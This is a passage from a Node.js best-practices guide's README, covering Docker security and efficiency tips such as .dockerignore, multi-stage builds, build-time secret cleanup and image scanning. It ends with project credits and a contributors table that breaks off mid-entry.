Use .dockerignore to prevent leaking secrets\n\n**TL;DR**: Include a `.dockerignore` file that filters out common secret files and development artifacts. By doing so, you might prevent secrets from leaking into the image. As a bonus the build time will significantly decrease. Also, ensure not to copy all files recursively rather explicitly choose what should be copied to Docker\n\n**Otherwise**: Common personal secret files like `.env`, `.aws` and `.npmrc` will be shared with anybody with access to the image (e.g. Docker repository)\n\n🔗 [**Read More: Use .dockerignore**](./sections/docker/docker-ignore.md)\n\n<br /><br /><br />\n\n## ![✔] 8.5. Clean-up dependencies before production\n\n**TL;DR:** Although Dev-Dependencies are sometimes needed during the build and test life-cycle, eventually the image that is shipped to production should be minimal and clean from development dependencies. Doing so guarantees that only necessary code is shipped and the amount of potential attacks (i.e. attack surface) is minimized. When using multi-stage build (see dedicated bullet) this can be achieved by installing all dependencies first and finally running `npm ci --production`\n\n**Otherwise:** Many of the infamous npm security breaches were found within development packages (e.g. [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes))\n\n🔗 Read More: [Remove development dependencies](./sections/docker/install-for-production.md)\n\n<br /><br /><br />\n\n## ![✔] 8.6. Shutdown smartly and gracefully\n\n**TL;DR:** Handle the process SIGTERM event and clean-up all existing connection and resources. This should be done while responding to ongoing requests. In Dockerized runtimes, shutting down containers is not a rare event, rather a frequent occurrence that happen as part of routine work. Achieving this demands some thoughtful code to orchestrate several moving parts: The load balancer, keep-alive connections, the HTTP server and other resources\n\n**Otherwise:** Dying immediately means not responding to thousands of disappointed users\n\n🔗 [**Read More: Graceful shutdown**](./sections/docker/graceful-shutdown.md)\n\n<br /><br /><br />\n\n## ![✔] 8.7. Set memory limits using both Docker and v8\n\n**TL;DR:** Always configure a memory limit using both Docker and the JavaScript runtime flags. The Docker limit is needed to make thoughtful container placement decision, the --v8's flag max-old-space is needed to kick off the GC on time and prevent under utilization of memory. Practically, set the v8's old space memory to be a just bit less than the container limit\n\n**Otherwise:** The docker definition is needed to perform thoughtful scaling decision and prevent starving other citizens. Without also defining the v8's limits, it will under utilize the container resources - Without explicit instructions it crashes when utilizing ~50-60% of its host resources\n\n🔗 [**Read More: Set memory limits using Docker only**](./sections/docker/memory-limit.md)\n\n<br /><br /><br />\n\n## ![✔] 8.8. Plan for efficient caching\n\n**TL;DR:** Rebuilding a whole docker image from cache can be nearly instantaneous if done correctly. The less updated instructions should be at the top of your Dockerfile and the ones constantly changing (like app code) should be at the bottom.\n\n**Otherwise:** Docker build will be very long and consume lot of resources even when making tiny changes\n\n🔗 [**Read More: Leverage caching to reduce build times**](./sections/docker/use-cache-for-shorter-build-time.md)\n\n<br /><br /><br />\n\n## ![✔] 8.9. Use explicit image reference, avoid `latest` tag\n\n**TL;DR:** Specify an explicit image digest or versioned label, never refer to `latest`. Developers are often led to believe that specifying the `latest` tag will provide them with the most recent image in the repository however this is not the case. Using a digest guarantees that every instance of the service is running exactly the same code.\n\nIn addition, referring to an image tag means that the base image is subject to change, as image tags cannot be relied upon for a deterministic install. Instead, if a deterministic install is expected, a SHA256 digest can be used to reference an exact image.\n\n**Otherwise:** A new version of a base image could be deployed into production with breaking changes, causing unintended application behaviour.\n\n🔗 [**Read More: Understand image tags and use the \"latest\" tag with caution**](./sections/docker/image-tags.md)\n\n<br /><br /><br />\n\n## ![✔] 8.10. Prefer smaller Docker base images\n\n**TL;DR:** Large images lead to higher exposure to vulnerabilities and increased resource consumption. Using leaner Docker images, such as Slim and Alpine Linux variants, mitigates this issue.\n\n**Otherwise:** Building, pushing, and pulling images will take longer, unknown attack vectors can be used by malicious actors and more resources are consumed.\n\n🔗 [**Read More: Prefer smaller images**](./sections/docker/smaller_base_images.md)\n\n<br /><br /><br />\n\n## ![✔] 8.11. Clean-out build-time secrets, avoid secrets in args\n\n### `🌟 #new`\n\n**TL;DR:** Avoid secrets leaking from the Docker build environment. A Docker image is typically shared in multiple environment like CI and a registry that are not as sanitized as production. A typical example is an npm token which is usually passed to a dockerfile as argument. This token stays within the image long after it is needed and allows the attacker indefinite access to a private npm registry. This can be avoided by coping a secret file like `.npmrc` and then removing it using multi-stage build (beware, build history should be deleted as well) or by using Docker build-kit secret feature which leaves zero traces\n\n**Otherwise:** Everyone with access to the CI and docker registry will also get access to some precious organization secrets as a bonus\n\n🔗 [**Read More: Clean-out build-time secrets**](./sections/docker/avoid-build-time-secrets.md)\n\n<br /><br /><br />\n\n## ![✔] 8.12. Scan images for multi layers of vulnerabilities\n\n**TL;DR:** Besides checking code dependencies vulnerabilities also scan the final image that is shipped to production. Docker image scanners check the code dependencies but also the OS binaries. This E2E security scan covers more ground and verifies that no bad guy injected bad things during the build. Consequently, it is recommended running this as the last step before deployment. There are a handful of free and commercial scanners that also provide CI/CD plugins\n\n**Otherwise:** Your code might be entirely free from vulnerabilities. However it might still get hacked due to vulnerable version of OS-level binaries (e.g. OpenSSL, TarBall) that are commonly being used by applications\n\n🔗 [**Read More: Scan the entire image before production**](./sections/docker/scan-images.md)\n\n<br /><br /><br />\n\n## ![✔] 8.13 Clean NODE_MODULE cache\n\n**TL;DR:** After installing dependencies in a container remove the local cache. It doesn't make any sense to duplicate the dependencies for faster future installs since there won't be any further installs - A Docker image is immutable. Using a single line of code tens of MB (typically 10-50% of the image size) are shaved off\n\n**Otherwise:** The image that will get shipped to production will weigh 30% more due to files that will never get used\n\n🔗 [**Read More: Clean NODE_MODULE cache**](./sections/docker/clean-cache.md)\n\n<br /><br /><br />\n\n## ![✔] 8.14. Generic Docker practices\n\n**TL;DR:** This is a collection of Docker advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through.\n\n🔗 [**Read More: Generic Docker practices**](./sections/docker/generic-tips.md)\n\n<br/><br /><br />\n\n## ![✔] 8.15. Lint your Dockerfile\n\n### `🌟 #new`\n\n**TL;DR:** Linting your Dockerfile is an important step to identify issues in your Dockerfile which differ from best practices. By checking for potential flaws using a specialised Docker linter, performance and security improvements can be easily identified, saving countless hours of wasted time or security issues in production code.\n\n**Otherwise:** Mistakenly the Dockerfile creator left Root as the production user, and also used an image from unknown source repository. This could be avoided with with just a simple linter.\n\n🔗 [**Read More: Lint your Dockerfile**](./sections/docker/lint-dockerfile.md)\n\n<br/><br /><br />\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# Milestones\n\nTo maintain this guide and keep it up to date, we are constantly updating and improving the guidelines and best practices with the help of the community. You can follow our [milestones](https://github.com/goldbergyoni/nodebestpractices/milestones) and join the working groups if you want to contribute to this project\n\n<br/>\n\n## Translations\n\nAll translations are contributed by the community. We will be happy to get any help with either completed, ongoing or new translations!\n\n### Completed translations\n\n- ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Courtesy of [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Courtesy of [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Courtesy of [Alex Ivanov](https://github.com/contributorpw)\n- ![PL](./assets/flags/PL.png) [Polish](./README.polish.md) - Courtesy of [Michal Biesiada](https://github.com/mbiesiad)\n- ![JA](./assets/flags/JA.png) [Japanese](./README.japanese.md) - Courtesy of [Yuki Ota](https://github.com/YukiOta), [Yuta Azumi](https://github.com/YA21)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Courtesy of [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### Translations in progress\n\n- ![FR](./assets/flags/FR.png) [French](./README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) [Hebrew](./README.hebrew.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Courtesy of [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Steering Committee\n\nMeet the steering committee members - the people who work together to provide guidance and future direction to the project. In addition, each member of the committee leads a project tracked under our [GitHub projects](https://github.com/goldbergyoni/nodebestpractices/projects).\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\n\nIndependent Node.js consultant who works with customers in the USA, Europe, and Israel on building large-scale Node.js applications. Many of the best practices above were first published at [goldbergyoni.com](https://goldbergyoni.com). Reach Yoni at [@goldbergyoni](https://github.com/goldbergyoni) or [me@goldbergyoni.com](mailto:me@goldbergyoni.com)\n\n<br/>\n\n<a id=\"josh-hemphill\" href=\"https://github.com/josh-hemphill\" target=\"_blank\"><img src=\"assets/images/members/josh-hemphill.png\" align=\"left\" width=\"100\" height=\"100\" alt=\"Josh Hemphill\" loading=\"lazy\"/></a>\n\n[Josh Hemphill](https://github.com/josh-hemphill)\n<a href=\"https://twitter.com/spooklogical\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/joshuahemphill/\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://joshuahemphill.com\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\n\nFull Stack Software Engineer / Developer specializing in Security, DevOps/DevSecOps, and ERP Integrations.\n\n<br/>\n\n<a id=\"raz-luvaton\" href=\"https://github.com/rluvaton\" target=\"_blank\"><img src=\"assets/images/members/raz-luvaton.jpg\" align=\"left\" width=\"100\" height=\"100\" alt=\"Raz Luvaton\" loading=\"lazy\"/></a>\n\n[Raz Luvaton](https://github.com/rluvaton)\n<a href=\"https://twitter.com/rluvaton\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/rluvaton/\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\n\nFull Stack Developer who knows how to exit from Vim and loves Architecture, Virtualization and Security.\n\n<br/>\n\n## Contributing\n\nIf you've ever wanted to contribute to open source, now is your chance! See the [contributing docs](.operations/CONTRIBUTING.md) for more information.\n\n## Contributors ✨\n\nThanks goes to these wonderful people who have contributed to this repository!\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: 